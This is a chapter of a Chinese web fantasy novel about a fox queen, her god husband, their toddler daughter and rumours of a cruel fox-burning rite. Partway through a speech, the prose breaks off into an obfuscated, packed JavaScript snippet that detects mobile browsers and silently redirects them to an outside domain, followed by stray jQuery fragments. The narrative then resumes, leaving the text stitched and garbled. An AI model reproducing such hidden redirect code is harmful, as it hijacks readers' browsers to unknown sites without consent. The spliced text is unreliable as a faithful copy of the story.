95. 会走路的小母老虎

作品:《仙狐竹马绕青梅

    “就算我们这一局没扳回来,起码也弄清了事情的真相。


    他们不会就此罢手,之后抓现行的机会还多着呢。”


    见夫君回去的路上闷闷不乐,小狐狸伸手捏住了那张丧气的脸,歪着头开始边做鬼脸边宽慰他。


    “对,他们不会罢手。


    这些年从昆仑升仙的越来越多,我又不是个听话的,他们觉得自己的地位岌岌可危。


    如今不比当年,我爹为月族之事所累,无心与他们周旋,现在我有的是时间,可你又做错了什么呢?


    咱们还不会说话的女儿和那些死掉的百姓何辜?我原以为自己神力超群,到头来却什么也护不住。”


    年轻的山神显然真的伤了心,望着窗外飞驰而过的山色垂下了头。


    看着心爱的人像被霜打了的茄子,孟望舒的心里也开始难受起来。


    他们几乎从会走路的时候就认识了,自小一起练功一起上学,这只老虎打小就是整个神界瞩目的尖子生。灵力,武艺,都远远领先于别的仙族后辈。


    学堂里的仙考,他就没拿过第二名,后来大家再长大些,身边的人理所当然就成了众神的指望。连凡界的说书先生都会经常提起昆仑那个年纪轻轻的接班人,神力盖世,厚德仁心,还未即位的时候就改了升仙考核的流程。


    后来见大家上山的路上崎岖不平,又修了更宽敞的新路,还派了神兵保护路上朝圣的凡人。天下九部的崇山峻岭里,似乎从前些年这位少主即位开始,渐渐地得到了凡妖两界的所有民心。


    妖族们不再日日想着歪门邪道提升修为,心有所念的人族也不再因为惧怕路上的野兽和山石滑坡而在山脚下久久徘徊不敢上山。


    大家都知道了山神的慈心,只要好好修行朝圣,大部分人都能够得偿所愿,当年月神留给那个年轻神君的阴影和不堪,靠着那个少年的努力和勤勉,也终于慢慢远离了他。


    那么多年来,自己倾心的那个少年,似乎从未像今日这般沮丧过。她的心上人啊,从来都是那个逢山开路遇水架桥,什么艰难险阻都不放在眼里,意气风发的神君。


    从前自己仰头望着似乎抬手就可摘星的年轻上神,心里全是站在他身侧的渴望。


    到了现在,他们已经不知不觉并肩走了许久的路,她才真的看到了那个三界最年轻的上神,站在万山之巅的无奈和悲愤。


    以至于,不论被他握住的手如何努力地试图抚平他眉间紧紧皱住的那道纹路,都无法令近在咫尺的人展颜,当年列列长风里,持剑破千川的那个少年,终究还是被神界那暗藏龌龊的霜雪盖住了熠熠生辉的眸光。


    “姐姐姐夫,你们可算回来了。


    这两天,那只小母老虎已经能走路了,扶着我的手满屋子溜达,喜人得很呐。


    我看你们再不回来,她要叫的第一个人,恐怕就是阿舅了!”


    守在山下的弟弟显然不知道他们经历了什么,迎上前来絮絮叨叨的说起了宜苏这几日的变化。


    听到女儿学会走路的消息,愁眉不展的陆伯都脸立刻挂上了难得的开心,匆匆上山走进屋里蹲下来逗弄扶着床脚咯咯直笑的女儿,宜苏的眉眼和自己一模一样,大大的杏眼总像含着一波春水般亮晶晶的。


    瞧见父亲回来了,更是高兴得直拍手,跌跌撞撞地就朝着他们跑了过来。若不是父亲在后面紧紧地抓着孩子背后的衣服,怕是小家伙还没能跑到跟前,就已经跌倒在地哇哇大哭了。


    到底是孩子最天真,小小的软肉见爹娘对自己会走的事情高兴夸奖个不停。马上扬起了肉嘟嘟的下巴,扶着外公的手,在屋里走了一圈又一圈,表演了好半天才肯被抱在怀里歇歇。


    这幼女在怀中,爱人在身侧的寻常景象,对屋里的夫妇来说,却难得得很。以至于俩人逗弄着恢复了健康的孩子,又看了看坐在身边的对方,都禁不住红了眼眶。


    “舒儿,你们回来了?


    这几日青丘一切都好,虽然出了点小小的风波,却也很快平息了下来,现今万事大安,你可放心。”


    说着话进屋的人,正是自己去找夫君前,联合九州出兵来助青丘,从江南越山跨海赶来的皇帝哥哥。


    “近日,倒真是多亏了庚博,你们夫妇俩不在,他带人将这紫云山守得一滴水都泼不进来。


    有歹人想作乱,都叫他挡了回去,帮了咱们大忙。”


    父亲虽未明说,但也暗示得差不多了,虽然不知青丘出的具体是什么事情,看来总不是太太平平的,怀里的女儿似乎也和这位年轻的天子混得极为熟悉,伸着手要他抱。


    等顺利到了对方怀里,又伸手抓起那龙纹金袍领口的玉佩,塞进嘴里大口啃了起来。


    起身谢过了这位但凡青丘有难便从不缺席的皇帝哥哥,心里一沉的孟国主颔首朝着大殿的方向看了一眼,便先行走了出去,镇子上不论出了什么事,就算已经平息了,她也该知道个大概才是。


    “你一会儿不要当着我叫皇帝哥哥了,我听了受不了,平日里背着我叫几声也就算了!”


    陆伯都的声音追上了自己朝着大殿奔去的脚步,控制了表情许久,最终放弃的人转过身翻了好大的一个白眼。方才这位神君还在郁郁寡欢地难受,一见到情敌,倒立刻来了精神开始吃醋。


    再说了,单论姐弟俩和那位天子自小一起长大的情分,那声皇帝哥哥叫得也是半点不过分。如今他们已经结婚生子,对方不过是在有危险时才伸出援手,简直是半点毛病都挑不出来。


    不知道后面的人吃的哪门子飞醋,她转身走进大殿里坐上熟悉的王座,望着远处叠翠鸟鸣的群山,孟望舒忽然有些恍惚起来。


    从前她是青丘的国主,凡界最逍遥富庶的姑娘,那时候的她,每时每刻都想找个由头上昆仑去看看左边那个坐着发呆的醋坛子,如今真的嫁进了昆仑,自己倒怀念起这殿内的一切了。


    “舒儿也是不必过于忧心。


    不过是前些日子,凡界有几个国家犯了洪灾,那洪水褪去后,便有不少人染上了腹泻不止的病症,拉上几天肚子,便会发现那病简直药石无医。


    如此一来,大家便人心惶惶,偏偏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786876|155451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这时候有人开始散步谣言,说狐仙蛊能救命,只需要偷一些九尾红狐穴内的土烧红,在上面铺一张浸透狐狸油的纸,叫生病的人踩过去,便可驱散疾病。”


    狐仙蛊这名字,对青丘内的每个人来说都不陌生。几百年前,正是九尾族国力衰弱的时候,西北有几位诸侯仗着兵强马壮,便动过这样的歪心思,派人强掳了不少美艳的红狐去。


    先是留在府中做侍妾,待玩腻了那些美人,便开始玩这种邪术,讲一只只红狐绑在柱子上,脚下放几个大酒坛子,放火将其活活烧死,滴下的油脂会在酒坛上与酒液分层凝结。


    最后取酒坛上的油蜡烧化,再铺上狐穴土,美名其曰狐仙蛊,每有将士出征,将领们便都要踩一踩狐仙蛊,祈求狐仙保佑他们得胜归来,大败敌军。


    这等歪风邪气,自然在青丘兵强马壮之后,尘封在了岁月里。国耻难忘,数百年来青丘苦练兵力,养马铸铁,都是为了害怕当年弱国之时遇到的那些悲剧重演。


    只是她没想到,过了百年,如今紫云山已经名满天下,居然还有人敢在外面散布这样不知死活的谣言,那些生病的人急红了眼,自然什么险都愿意冒,幸好,幸好这次他们没能得逞。


    “镇子上的大家没事吧?偷狐穴土的人可都抓到了?”


    还是不放心的人望向满脸得意的少年天子,还是忍不住又问了一句。


    “无事,那些人抓到都审过了。


    只说散布谣言的人身穿黑袍,手持银杖,每两日便换一个地方,我已经派人去寻了。


    你兰时姑姑也已经研制出了治疗疫病的方子,那些病人也无碍了。”


    对面那个小小年纪即位,险些被皇叔们篡位的皇帝显然也长大了,处理事情游刃有余,早不是当年被人横刀在脖子上,围了整个皇宫,闭着眼一心求死也不肯求饶的孩子了。


    年少时的大家与现今都大有不同的,唯一不变的,大概就是多年愈来愈深的感情吧。


    “有劳哥哥费心了,我这就去山崖下看看大家,也是有些日子没去镇子上了。”


    见妻子察觉到自己对这声哥哥产生了许多的不快,一溜烟就跑下了山。陆伯都看着留在殿中喝着茶,对那声哥哥甜滋滋地照单全收的江南皇帝,有些气不打一处来。


    佯装大度呆了半晌,又往嘴里胡乱塞了几块糕饼,噎得脖子都伸长了的年轻神君,终究还是没忍住心里那股强烈的酸意,看似不经意的开了口:


    “现在我们回来了,哥哥既然还有国务在身,可千万别耽误了。”


    听见他捏着嗓子的阴阳怪气,对方倒并不生气,轻声答了一句不急,就接着蓄满了杯中的茶,更加生气的人顺了顺气,又添了一把火:


    “她既然嫁到了昆仑,你尽可以放心的,也是不必过于操心了。”


    谁知对面的人被这话一激,却让利剑一样的话直直地戳了他的心窝子:


    “舒儿若过得好,我自不必操心。


    可她实在过得不易,自打嫁去昆仑,我见着她接连受惊再三遇险,你叫我如何放心?”